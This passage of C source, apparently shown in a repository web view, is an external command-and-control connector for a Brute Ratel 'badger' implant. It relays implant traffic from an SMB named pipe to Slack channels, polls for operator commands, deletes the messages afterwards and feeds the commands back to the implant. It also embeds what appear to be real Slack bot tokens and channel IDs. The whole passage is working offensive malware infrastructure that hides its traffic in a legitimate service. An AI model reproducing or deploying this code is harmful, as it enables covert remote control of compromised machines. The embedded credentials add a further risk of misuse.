checkVal = InternetReadFile(b_HttpRequest, tempbuff, availabledSize, &buff_downloaded);
|
||||
if (!checkVal || buff_downloaded == 0) {
|
||||
free(tempbuff);
|
||||
break;
|
||||
}
|
||||
DWORD newSizeOfBuff = offset + buff_downloaded + 1; // old + new = new size of buffer
|
||||
response = (CHAR*)realloc(response, newSizeOfBuff);
|
||||
task_memcpy(response+offset, tempbuff, buff_downloaded);
|
||||
free(tempbuff);
|
||||
tempbuff = NULL;
|
||||
offset = offset + buff_downloaded; // old + new = new size of buffer
|
||||
response[offset] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
InternetCloseHandle(b_HttpRequest);
|
||||
}
|
||||
InternetCloseHandle(b_HttpSession);
|
||||
}
|
||||
InternetCloseHandle(b_Internet);
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
CHAR* listenerAppPostMessage(CHAR* buffer, CHAR* thread_ts) {
|
||||
struct BADGER_REQUEST_INFO bgrReqInfo = { 0 };
|
||||
bgrReqInfo.server = "slack.com";
|
||||
bgrReqInfo.useragent = "Mozilla"; // Use a valid useragent
|
||||
bgrReqInfo.uri = "/api/chat.postMessage"; // Slack URI to send a message
|
||||
bgrReqInfo.port = 443;
|
||||
bgrReqInfo.headerList[0] = "Authorization: Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY\r\n"; // change the token to your Listener Channel's token
|
||||
bgrReqInfo.headerList[1] = "Content-Type: application/json\r\n";
|
||||
bgrReqInfo.headerCount = 2;
|
||||
|
||||
CHAR* postMsgStart = "{\"channel\": \"D03AFAZC6B1\", \"text\": \""; // change the channel name (D03AFAZC6B1) to your Listener Channel
|
||||
CHAR* postMsgEnd = "\"}";
|
||||
CHAR* msgThreadTs = "\",\"thread_ts\":\""; // this is used for sending replies to messages in case the buffer is > 4000 (Slack limites a max msg buffer to 4000 chars)
|
||||
CHAR* finalPostMsg = NULL;
|
||||
|
||||
// building the json message
|
||||
if (thread_ts) { // if thread_ts, send a reply in the thread instead of a new message
|
||||
int finalssagesg = task_strlen(postMsgStart) + task_strlen(buffer) + task_strlen(msgThreadTs) + task_strlen(thread_ts) + task_strlen(postMsgEnd);
|
||||
finalPostMsg = (CHAR*) calloc(finalssagesg+1, sizeof(CHAR));
|
||||
sprintf_s(finalPostMsg, finalssagesg+1, "%s%s%s%s%s", postMsgStart, buffer, msgThreadTs, thread_ts, postMsgEnd);
|
||||
} else { // if !thread_ts, send a new message
|
||||
int finalssagesg = task_strlen(postMsgStart) + task_strlen(buffer) + task_strlen(postMsgEnd);
|
||||
finalPostMsg = (CHAR*) calloc(finalssagesg+1, sizeof(CHAR));
|
||||
sprintf_s(finalPostMsg, finalssagesg+1, "%s%s%s", postMsgStart, buffer, postMsgEnd);
|
||||
}
|
||||
|
||||
bgrReqInfo.postRequest = finalPostMsg;
|
||||
CHAR *response = httpConnect(bgrReqInfo);
|
||||
free(finalPostMsg);
|
||||
return response;
|
||||
}
|
||||
|
||||
CHAR* extractFullCommandFromReply(struct BADGER_REQUEST_INFO bgrReqInfo, CHAR* timeStamp) {
|
||||
printf("[DEBUG] Requesting full thread\n");
|
||||
CHAR* response = NULL;
|
||||
CHAR* recvCommand = NULL;
|
||||
CHAR* bgrCmd = NULL;
|
||||
CHAR* slackURI = NULL;
|
||||
CHAR* threadMessageStart = "start$";
|
||||
CHAR* threadMessageEnd = "$end";
|
||||
CHAR* cmdDelimiterStart = "\"text\":\"<@U039KRC46BS> "; // Add your BadgerApp Channel's User ID - used for command extraction
|
||||
CHAR* replyURI = "/api/conversations.replies?channel=D03AT6A4X9T&ts="; // change the channel name (D03AT6A4X9T) to your BadgerApp Channel
|
||||
int slackURILen = task_strlen(replyURI) + task_strlen(timeStamp);
|
||||
slackURI = (CHAR*) calloc(slackURILen+1, sizeof(CHAR));
|
||||
sprintf_s(slackURI, slackURILen+1, "%s%s", replyURI, timeStamp);
|
||||
bgrReqInfo.uri = slackURI;
|
||||
|
||||
// Ratel server sends the responses in chunks of around 4000 bytes or less to the BadgerApp
|
||||
// If we send a request while the chunks are still being uploaded, we might get only partial messages
|
||||
// So, we will check if the replies contain threadMessageEnd, if it does, it means all replies are posted
|
||||
while (TRUE) {
|
||||
response = httpConnect(bgrReqInfo);
|
||||
CHAR* isComplete = task_strstr(response, threadMessageEnd);
|
||||
if (isComplete) {
|
||||
printf("\n");
|
||||
break;
|
||||
}
|
||||
printf(".");
|
||||
free(response);
|
||||
response = NULL;
|
||||
Sleep(2000); // cannot send more than 2 message per second - slack limitations
|
||||
}
|
||||
// printf("\n[DEBUG] response: %s\n", response);
|
||||
|
||||
CHAR* searchOffset = task_strstr(response, cmdDelimiterStart); // this returns everything from the first '"text":"<@U039KRC46BS> ' to the end of the buffer
|
||||
recvCommand = task_search(threadMessageStart, "\"", searchOffset); // this returns the first value between 'start$...."' to get the part buffer of the command
|
||||
DWORD i = 0;
|
||||
// printf("[DEBUG] task_strlen(recvCommand): %lu\n", task_strlen(recvCommand));
|
||||
// printf("[DEBUG] recvCommand: %s\n", recvCommand);
|
||||
while (TRUE) {
|
||||
i++;
|
||||
searchOffset = searchOffset + task_strlen(cmdDelimiterStart); // get the offset to where 'start$' starts, so that we can use this to search for the next '"text":"<@U039KRC46BS> ' in memory
|
||||
searchOffset = task_strstr(searchOffset, cmdDelimiterStart); // use the first search offset to further search the next offset
|
||||
if (! searchOffset) {
|
||||
break;
|
||||
}
|
||||
CHAR* partBuffer = task_search(threadMessageStart, "\"", searchOffset); // use the next search offset to further search more parts of the buffer
|
||||
if (!partBuffer) {
|
||||
break;
|
||||
}
|
||||
printf("[DEBUG] task_strlen(recvCommand): %lu\n", task_strlen(recvCommand));
|
||||
printf("[DEBUG] task_strlen(partBuffer): %lu\n", task_strlen(partBuffer));
|
||||
// printf("[DEBUG] partBuffer: %s\n", partBuffer);
|
||||
DWORD newBufSize = task_strlen(recvCommand) + task_strlen(partBuffer);
|
||||
DWORD copyOffsetForNewBuffer = task_strlen(recvCommand);
|
||||
recvCommand = (CHAR*)realloc(recvCommand, newBufSize+1);
|
||||
task_memcpy(recvCommand+copyOffsetForNewBuffer, partBuffer, task_strlen(partBuffer));
|
||||
recvCommand[newBufSize] = 0;
|
||||
free(partBuffer);
|
||||
}
|
||||
printf("[DEBUG] Chunk count: %lu\n", i);
|
||||
|
||||
if (recvCommand) {
|
||||
DWORD bgrCmdLen = task_strlen(recvCommand);
|
||||
bgrCmd = (CHAR*)calloc(bgrCmdLen+1, sizeof(CHAR));
|
||||
for (int i = 0, j = 0; i< bgrCmdLen; i++) {
|
||||
if (recvCommand[i] != '\\') { //fix added to remove json escaping slashes
|
||||
bgrCmd[j] = recvCommand[i];
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD bgrCmdLen = task_strlen(bgrCmd);
|
||||
printf("[DEBUG] bgrCmdLen: %lu\n", bgrCmdLen);
|
||||
getchar();
|
||||
|
||||
free(slackURI);
|
||||
free(response);
|
||||
free(recvCommand);
|
||||
return bgrCmd;
|
||||
}
|
||||
|
||||
CHAR* badgerAppReceiveMessage() {
|
||||
CHAR* deleteURI = "/api/chat.delete?channel=D03AT6A4X9T&ts="; // change the channel name (D03AT6A4X9T) to your BadgerApp Channel
|
||||
CHAR* slackBadgerAppToken = "Authorization: Bearer xoxb-2144924547920-3393858142400-qEIcN8hBt0WgwRaJImILqMAj\r\n"; // change the channel token to your BadgerApp Channel token
|
||||
CHAR* cmdDelimiterStart = "\"text\":\"<@U039KRC46BS> "; // Add your BadgerApp Channel's User ID - used for command extraction
|
||||
CHAR* tsDelimiterStart = "\"ts\":\"";
|
||||
CHAR* msgDelimiterEmd = "\"";
|
||||
|
||||
CHAR* slackURI = NULL;
|
||||
CHAR* response = NULL;
|
||||
CHAR* bgrCmd = NULL;
|
||||
CHAR* timeStamp = NULL;
|
||||
|
||||
struct BADGER_REQUEST_INFO bgrReqInfo = { 0 };
|
||||
bgrReqInfo.server = "slack.com";
|
||||
bgrReqInfo.useragent = "Mozilla"; // Use a valid useragent
|
||||
bgrReqInfo.uri = "/api/conversations.history?limit=1&channel=D03AT6A4X9T"; // enumerate messages - change the channel name (D03AT6A4X9T) to your BadgerApp Channel
|
||||
bgrReqInfo.port = 443;
|
||||
bgrReqInfo.headerList[0] = slackBadgerAppToken;
|
||||
bgrReqInfo.headerCount = 1;
|
||||
bgrReqInfo.postRequest = NULL; // if the message is a GET request, set the POST to NULL
|
||||
|
||||
response = httpConnect(bgrReqInfo);
|
||||
if (response) {
|
||||
// first check if the response contains any replies. If it does, we have to send a http request again to fetch all the replies and concatenate it
|
||||
CHAR* checkReply = task_strstr(response, "reply_count"); // start extracting the command from json response
|
||||
// IF reply_count exists, we might need to check in a for loop every few seconds to see if reply count increases. We don't want to read up partial messages while the slack app is getting updated by the AdaptiveC2
|
||||
if (checkReply) {
|
||||
CHAR* replyTimeStamp = task_search(tsDelimiterStart, msgDelimiterEmd, response); // extract the timestamp to search the thread
|
||||
if (replyTimeStamp) {
|
||||
bgrCmd = extractFullCommandFromReply(bgrReqInfo, replyTimeStamp);
|
||||
free(replyTimeStamp);
|
||||
}
|
||||
} else {
|
||||
CHAR* cmdStart = task_strstr(response, cmdDelimiterStart); // start extracting the command from json response
|
||||
if (cmdStart) {
|
||||
cmdStart = cmdStart + task_strlen(cmdDelimiterStart);
|
||||
CHAR* cmdEnd = task_strstr(cmdStart, msgDelimiterEmd);
|
||||
if (cmdEnd) {
|
||||
int bgrCmdLen = cmdEnd - cmdStart;
|
||||
bgrCmd = (CHAR*)calloc(bgrCmdLen+1, sizeof(CHAR));
|
||||
for (int i = 0, j = 0; i< bgrCmdLen; i++) {
|
||||
if (cmdStart[i] != '\\') { //fix added to remove json escaping slashes
|
||||
bgrCmd[j] = cmdStart[i];
|
||||
j++;
|
||||
}
|
||||
}
|
||||
// printf("[DEBUG] BRc4 Command: '%s'\n", bgrCmd);
|
||||
}
|
||||
}
|
||||
}
|
||||
// else no commands received. Now search timestamp in the response and delete the message from the server using the timestamp
|
||||
timeStamp = task_search(tsDelimiterStart, msgDelimiterEmd, response);
|
||||
if (timeStamp) {
|
||||
// only part of the struct (URI) is updated, coz the rest of the objects in the struct are the same
|
||||
int slackURILen = task_strlen(deleteURI) + task_strlen(timeStamp);
|
||||
slackURI = (CHAR*) calloc(slackURILen+1, sizeof(CHAR));
|
||||
sprintf_s(slackURI, slackURILen+1, "%s%s", deleteURI, timeStamp);
|
||||
bgrReqInfo.uri = slackURI;
|
||||
httpConnect(bgrReqInfo);
|
||||
}
|
||||
}
|
||||
|
||||
free(slackURI);
|
||||
free(response);
|
||||
free(timeStamp);
|
||||
return bgrCmd;
|
||||
}
|
||||
|
||||
CHAR* readFromPipe(HANDLE badgerNamedPipe) {
|
||||
CHAR* pipeBuffer = NULL;
|
||||
CHAR *recvbuf = (CHAR*)calloc(65535+1, sizeof(CHAR));
|
||||
DWORD offset = 0;
|
||||
while (TRUE) {
|
||||
DWORD retVal = 0, bytesRead = 0;
|
||||
retVal = ReadFile(badgerNamedPipe, recvbuf, 65535, &bytesRead, NULL); // SMB Can read a maximum of 65535 bytes. So loop untill all buffer is received
|
||||
if (!retVal || bytesRead == 0) {
|
||||
if (GetLastError() != ERROR_MORE_DATA) {
|
||||
ExitProcess(0); // Error from pipe
|
||||
}
|
||||
}
|
||||
DWORD newSizeOfBuff = offset + bytesRead + 1; // old (offset) + new (bytesread) = new size of buffer
|
||||
pipeBuffer = (CHAR*)realloc(pipeBuffer, newSizeOfBuff);
|
||||
task_memcpy(pipeBuffer+offset, recvbuf, bytesRead);
|
||||
offset = offset + bytesRead; // old (offset) + new (bytesread) = new size of buffer
|
||||
pipeBuffer[offset] = 0; // Add null byte
|
||||
task_memset(recvbuf, 0, 65535+1);
|
||||
if (bytesRead < 65535) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(recvbuf);
|
||||
return pipeBuffer;
|
||||
}
|
||||
|
||||
BOOL getServerToken(HANDLE badgerNamedPipe) {
|
||||
BOOL retVal = FALSE;
|
||||
CHAR* lresponse = NULL;
|
||||
CHAR* pipeBuffer = readFromPipe(badgerNamedPipe); // receive the badger's encrypted token
|
||||
if (pipeBuffer) {
|
||||
lresponse = listenerAppPostMessage(pipeBuffer, NULL);
|
||||
if (lresponse && checkSuccess(lresponse)) { // check if the request was successful
|
||||
while (TRUE) { // Loop until connected to slack
|
||||
CHAR* bgrCmd = badgerAppReceiveMessage(); // badger's encrypted token
|
||||
if (bgrCmd) {
|
||||
DWORD bgrCmdLen = task_strlen(bgrCmd);
|
||||
DWORD bytesWritten = 0;
|
||||
retVal = WriteFile(badgerNamedPipe, bgrCmd, bgrCmdLen, &bytesWritten, NULL);
|
||||
if (retVal && bgrCmdLen == bytesWritten) {
|
||||
retVal = TRUE;
|
||||
}
|
||||
free(bgrCmd);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(lresponse);
|
||||
free(pipeBuffer);
|
||||
return retVal;
|
||||
}
|
||||
|
||||
VOID slackConnectMain(HANDLE badgerNamedPipe) {
|
||||
// used as an identifier to distinguish threaded messages from full messages sent to the server as the maximum slack rate limit is 4000 chars per message
|
||||
// thread messages are stored in an array on the adaptive server, till all threads are recieved
|
||||
// add your own custom seperator, but make changes to the python3 script too
|
||||
CHAR* threadMessageStart = "start$";
|
||||
CHAR* threadMessageEnd = "$end";
|
||||
while (TRUE) {
|
||||
CHAR* response = NULL;
|
||||
CHAR* pipeBuffer = readFromPipe(badgerNamedPipe);
|
||||
if (pipeBuffer) {
|
||||
DWORD pipeBufferLength = task_strlen(pipeBuffer);
|
||||
printf("[DEBUG] Sending %lu bytes\n", pipeBufferLength);
|
||||
if (pipeBufferLength > 4000) { // 4000 is the maximum limit of slack messages
|
||||
CHAR* thread_ts = NULL;
|
||||
CHAR sendBuffer[4000] = { 0 }; // temporary buffer to hold the firs 3950 bytes, remaining bytes are for custom threadSeperator (threadMessageStart)
|
||||
for (int i = 0, j = 0; i < pipeBufferLength; i++, j++) {
|
||||
if (j == 3950) { // create a buffer for 3950 buffer + 5 bytes of partmessage seperator
|
||||
CHAR finalBuffer[4000] = { 0 }; // total message cannot be more than 4000 bytes
|
||||
sprintf_s(finalBuffer, 4000, "%s%s", threadMessageStart, sendBuffer); // append the threadMessageStart
|
||||
if (thread_ts) {
|
||||
response = listenerAppPostMessage(finalBuffer, thread_ts); // if thread_ts is NULL, NULL will be sent, else the thread timestamp
|
||||
} else {
|
||||
response = listenerAppPostMessage(finalBuffer, NULL);
|
||||
if (response) {
|
||||
thread_ts = task_search("\"ts\":\"", "\"", response); // search the timestamp of the main message since part messages will be sent as replies to the main message
|
||||
free(response);
|
||||
response = NULL;
|
||||
}
|
||||
}
|
||||
Sleep(1000); // slack rate limit to send message replies - 1 message per second
|
||||
task_memset(sendBuffer, 0, sizeof(sendBuffer));
|
||||
j = 0;
|
||||
}
|
||||
sendBuffer[j] = pipeBuffer[i];
|
||||
}
|
||||
if (task_strlen(sendBuffer) > 0) { // if any partial message is left to be sent, send it
|
||||
if (task_strcmp(sendBuffer, threadMessageStart) != 0) { // validate the response is not just the seperator
|
||||
CHAR finalBuffer[4000] = { 0 }; // total message cannot be more than 4000 bytes
|
||||
sprintf_s(finalBuffer, 4000, "%s%s", threadMessageStart, sendBuffer); // append the threadMessageStart
|
||||
response = listenerAppPostMessage(finalBuffer, thread_ts); // if thread_ts is NULL, NULL will be sent, else the thread timestamp. Receive the response
|
||||
}
|
||||
}
|
||||
// send the threaded message end response
|
||||
response = listenerAppPostMessage(threadMessageEnd, thread_ts); // send the final buffer (threadMessageEnd) to specify that the thread is complete
|
||||
free(thread_ts);
|
||||
} else {
|
||||
response = listenerAppPostMessage(pipeBuffer, NULL); // Receive the response for a message that was sent in full
|
||||
}
|
||||
|
||||
if (response) {
|
||||
DWORD bytesWritten = 0;
|
||||
CHAR* bgrCmd = badgerAppReceiveMessage(); // Get the next command in queue
|
||||
if (bgrCmd) {
|
||||
DWORD bgrCmdLen = task_strlen(bgrCmd);
|
||||
printf("[DEBUG] Sending Command of %lu bytes\n", bgrCmdLen);
|
||||
if (bgrCmdLen == 0) { // if command is empty, send 1 empty byte to the SMB Pipe
|
||||
bgrCmdLen = 1;
|
||||
printf("[DEBUG] No Commands Received. Sending 1 empty byte\n");
|
||||
DWORD retVal = WriteFile(badgerNamedPipe, "", 1, &bytesWritten, NULL);
|
||||
if (!retVal || bgrCmdLen != bytesWritten) {
|
||||
free(bgrCmd);
|
||||
ExitProcess(0);
|
||||
}
|
||||
} else {
|
||||
DWORD retVal = WriteFile(badgerNamedPipe, bgrCmd, bgrCmdLen, &bytesWritten, NULL);
|
||||
if (!retVal || bgrCmdLen != bytesWritten) {
|
||||
free(bgrCmd);
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
free(bgrCmd);
|
||||
} else {
|
||||
printf("[DEBUG] No Commands Received. Sending 1 empty byte\n");
|
||||
if (! (WriteFile(badgerNamedPipe, "", 1, &bytesWritten, NULL)) ) { // if command is empty, send 1 empty byte to the SMB Pipe
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf("[DEBUG] Unable to connect to slack\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
free(response);
|
||||
free(pipeBuffer);
|
||||
Sleep(2000); // cannot have Sleep 0 as Slack has rate limits of 1 message per seconds - https://api.slack.com/docs/rate-limits
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
// execShellcode(); // Uncomment this if badger's SMB shellcode is be executed within this process
|
||||
CHAR* smbPipeName = "\\\\.\\pipe\\mynamedpipe"; // named pipe for your SMB Badger
|
||||
HANDLE badgerNamedPipe = connectSMB(smbPipeName);
|
||||
if (! badgerNamedPipe) {
|
||||
return 0;
|
||||
}
|
||||
if (getServerToken(badgerNamedPipe)) { // Send initial badger request and receive the authentication token from the ratel server
|
||||
slackConnectMain(badgerNamedPipe); // Connect to the server for incoming commands
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 40 KiB |
Reference in New Issue
Block a user